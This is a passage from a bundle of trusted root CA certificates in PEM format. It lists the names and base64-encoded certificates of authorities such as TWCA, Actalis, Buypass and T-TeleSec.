ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy
MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU
ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC
l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J
J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4
fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0
cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB
Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj
jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1
mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj
Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
-----END CERTIFICATE-----

TWCA Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ
VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG
EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB
IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx
QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC
oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP
4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r
y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB
BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG
9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC
mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW
QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY
T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny
Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
-----END CERTIFICATE-----

Security Communication RootCA2
==============================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh
dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC
SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy
aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++
+T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R
3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV
spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K
EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8
QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB
CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj
u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk
3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q
tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29
mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
-----END CERTIFICATE-----

EC-ACC
======
-----BEGIN CERTIFICATE-----
MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE
BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w
ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD
VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE
CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT
BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7
MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt
SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl
Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh
cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK
w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT
ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4
HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a
E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw
0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E
BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD
VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0
Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l
dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ
lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa
Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe
l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2
E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D
5EI=
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions RootCA 2011
=======================================================
-----BEGIN CERTIFICATE-----
MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT
O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y
aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z
IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT
AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z
IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo
IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI
1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa
71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u
8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH
3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/
MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8
MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu
b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt
XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8
TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD
/md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N
7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4
-----END CERTIFICATE-----

Actalis Authentication Root CA
==============================
-----BEGIN CERTIFICATE-----
MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM
BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE
AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky
MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz
IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ
wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa
by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6
zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f
YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2
oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l
EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7
hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8
EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5
jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY
iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI
WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0
JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx
K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+
Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC
4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo
2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz
lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem
OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9
vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
-----END CERTIFICATE-----

Trustis FPS Root CA
===================
-----BEGIN CERTIFICATE-----
MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG
EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290
IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV
BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ
KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ
RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk
H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa
cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt
o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA
AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd
BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c
GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC
yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P
8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV
l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl
iB6XzCGcKQENZetX2fNXlrtIzYE=
-----END CERTIFICATE-----

Buypass Class 2 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X
DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1
g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn
9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b
/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU
CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff
awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI
zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn
Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX
Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs
M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI
osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S
aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd
DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD
LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0
oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC
wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS
CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN
rJgWVqA=
-----END CERTIFICATE-----

Buypass Class 3 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X
DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH
sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR
5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh
7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ
ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH
2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV
/afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ
RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA
Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq
j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G
uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG
Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8
ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2
KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz
6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug
UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe
eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi
Cp/HuZc=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 3
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx
MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK
9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU
NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF
iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W
0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr
AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb
fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT
ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h
P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw==
-----END CERTIFICATE-----

EE Certification Centre Root CA
===============================
-----BEGIN CERTIFICATE-----
